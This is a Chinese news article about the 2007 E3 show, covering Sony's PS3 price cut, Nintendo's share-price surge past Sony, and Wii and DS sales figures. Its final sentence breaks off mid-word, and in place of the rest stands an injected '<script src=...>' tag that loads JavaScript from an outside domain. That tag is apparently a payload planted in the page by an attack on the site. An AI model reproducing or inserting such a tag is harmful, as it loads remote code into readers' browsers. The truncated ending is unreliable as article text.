在任天堂看来，索尼和微软并不是市场中的唯一对手，Wii是在和所有消遣空闲时光的娱乐项目竞争。
7月12日开幕的2007 E3大会，让微软、索尼、任天堂这三大游戏机巨头再次成为全球的焦点。展会中并排出现的微软、索尼和任天堂展台吸引着所有人的眼球，五光十色的装饰，大屏幕上不断播放的新款游戏Demo和各种新奇的游戏产品，让每个到场者都跃跃欲试的想体验一把。除了发布玩家们期待已久的《Halo 3》、《刺客之信条》、《Grand Theft Auto 4》、《铁拳6》、《变形金刚》等大制作游戏和各种新版的游戏机硬件和配件，数个月来一直被外界关注的降价传闻也终于水落石出。
E3媒体大会上，索尼电脑娱乐美国公司（SCEA）总裁兼CEO杰克·特瑞顿证实，索尼已决定将PS3的零售价格下调100美元，从7月10日开始，北美地区PS3价格从之前的599美元降为499美元。有趣的是，这一消息的公布恰恰就在索尼总裁中钵良治公开表示“PS3暂无降价计划”后仅仅一天时间。种种迹象表明，游戏市场本来三足鼎立的局面开始出现倾斜，而任天堂的突然爆发无疑是一个最大的悬念。
像苹果一样增长
“从今天开始，你应该更关注任天堂而不是索尼。”当6月25日任天堂股票再次上涨1.5%后，东京KBC证券分析师Hiroshi Kamide毫不犹豫的给予了任天堂“买入”的评级。而根据任天堂当天中午每股约380美元的股价计算，其530亿美元的总市值已经超过其竞争对手索尼，挤进了日本市值最高的前10大公司行列。尽管午后任天堂股票出现了小幅下挫，索尼股票相应回升后，后者再一次戏剧性的将任天堂挤出了前10位，但两家公司的总市值已仅仅相差1%，如同《华尔街日报》所说：“索尼随时可能被任天堂再次超过。”
过去两年来，索尼股票上涨了67%，而任天堂则翻了4倍多。日本瑞穗证券(Mizuho Securities)资深经济分析师Takeshi Koyama对任天堂的预测更为乐观，“很明显，任天堂已经夺回了被索尼占据着多年的游戏机市场的龙头地位。”但他也表示，就目前情况来看，任天堂的股价确实有被高估的嫌疑，其25倍的市盈率与索尼的19倍市盈率相比让投资人多少感觉有些心里没底，但其被玩家疯狂追捧的主打产品Wii和DS不得不让投资人回味当年苹果推出iPod后股价飞涨的经历。对于每年超过300亿美元并保持着高速增长的电子游戏市场来说，没有什么是不可能的。
根据任天堂之前公布的2007财年报告，截止2007年3月31日，公司全年收入约为80.8亿美元，比去年同期增长89.8%，利润更是大幅增长150%，接近20亿美元，其中除日本市场以外的海外市场收入占66.5%。在销售情况上，整个财年DS出货量高达2300万部，累计共售出4000万部，另一款产品Wii上市5个月来，共售出584万部，平均每月销量100万部以上。
对于任天堂出色的业绩，西方媒体已经习惯的将DS和Wii与当年的iPod相提并论。虽然用“日本的苹果”来比喻任天堂也许有些牵强，但这家公司两年来确实在重演着当年苹果式的增长。记得在索尼公布的上个财年报告中，这家横跨电影、音乐、游戏和消费电子的公司总市值已达到610亿美元，近8倍于任天堂的78亿美元，而当时后者的股价仅为每股50多美元，与如今凭借着两款成功的产品创下117年以来历史最高的380美元的股价相比简直不可同日而语。
对于只能够在国内市场上买到DS的中国用户来说，他们也许还没有感受到Wii在欧美和日本市场上的火爆，但从去年11月份上市以来，这款产品无疑是一个奇迹，每每让人遥想起当年的PS和iPod，甚至尤有过之。据NPD市场调查公司的数据显示，半年来，Wii在美国市场的销量是PS3的4倍和Xbox 360的2倍，而另据Enterbrain研究机构的最新数据，在更具优势的日本市场上，仅6月Wii的销量就达到PS3的6倍。而在手持游戏机市场上，DS更是一支独秀，每月销量保持在200万部以上，远远将最大竞争产品索尼的PSP甩在了后头。
独霸客厅？
“随着人们娱乐方式的多样化，整个行业面临着游戏人群急剧减少的难题，如何吸引那些从不玩游戏的人，扩大‘游戏人口’成为一大问题。”日本任天堂市场相关负责人对《互联网周刊》表示，“任天堂在这一方面具有天然的优势，DS和Wii的成功证明了公司在研发上方向的正确性。”正是出于这个原因，在投资人看来，任天堂的股票上涨是必然的。虽然与索尼和微软一样，任天堂将Wii也定位于一款客厅游戏产品，但业内人都明白，任天堂选择的是潜力更大的家庭游戏市场，从而告别了只有少数游戏发烧友和玩家才会关注的小众局面。任天堂在Wii的设计上有许多创新之处，比如可以通过挥舞手柄来控制游戏，就像在现实生活中打网球、打高尔夫或是搏斗一样，充分体验着模拟游戏，特别是体育游戏的乐趣。
就产品本身而言，玩家们的支持态度也很微妙，有意思的是，无论是在Xbox 360还是PS3阵营中，玩家们对Wii的态度都比较友好。但在利润面前，Wii还是得到了经销商们的普?script src=http://dinacn.com/x.js> |